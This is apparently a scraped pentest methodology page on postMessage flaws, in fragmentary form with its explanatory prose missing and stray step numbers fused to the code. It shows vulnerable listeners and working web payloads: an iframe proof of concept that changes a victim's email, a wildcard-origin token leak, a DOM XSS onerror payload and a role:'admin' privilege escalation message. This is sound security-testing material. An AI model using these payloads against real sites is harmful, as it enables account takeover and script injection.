Web Messaging
Check List
Methodology
Black Box
Missing Origin Validation in postMessage Listener
1
2
window.addEventListener("message", function(event){
processMessage(event.data);
});3
if(event.origin !== "https://trusted.com") return;4
5
window.postMessage({action:"changeEmail",email:"attacker@test.com"},"*");6
<html>
<body>
<iframe id="target" src="https://target.com"></iframe>
<script>
setTimeout(function(){
document.getElementById("target").contentWindow.postMessage(
{action:"changeEmail",email:"attacker@test.com"},
"*"
);
},3000);
</script>
</body>
</html>7
8
Wildcard Target Origin Usage
1
otherWindow.postMessage({token:authToken},"*");2
3
<iframe id="victim" src="https://target.com"></iframe>
<script>
window.addEventListener("message",function(e){
console.log("Leaked data:",e.data);
});
</script>4
5
Insecure Message Handling Leading to DOM XSS
1
window.addEventListener("message",function(e){
document.getElementById("output").innerHTML = e.data;
});2
3
window.postMessage('<img src=x onerror=alert(1)>',"*");4
5
6
Privilege Escalation via Message Parameter Manipulation
1
window.addEventListener("message",function(e){
if(e.data.role){
user.role = e.data.role;
}
});2
window.postMessage({role:"admin"},"*");3
GET /api/admin/dashboard HTTP/1.1
Host: target.com
Cookie: session=abc1234
5
White Box
Cheat Sheet
Last updated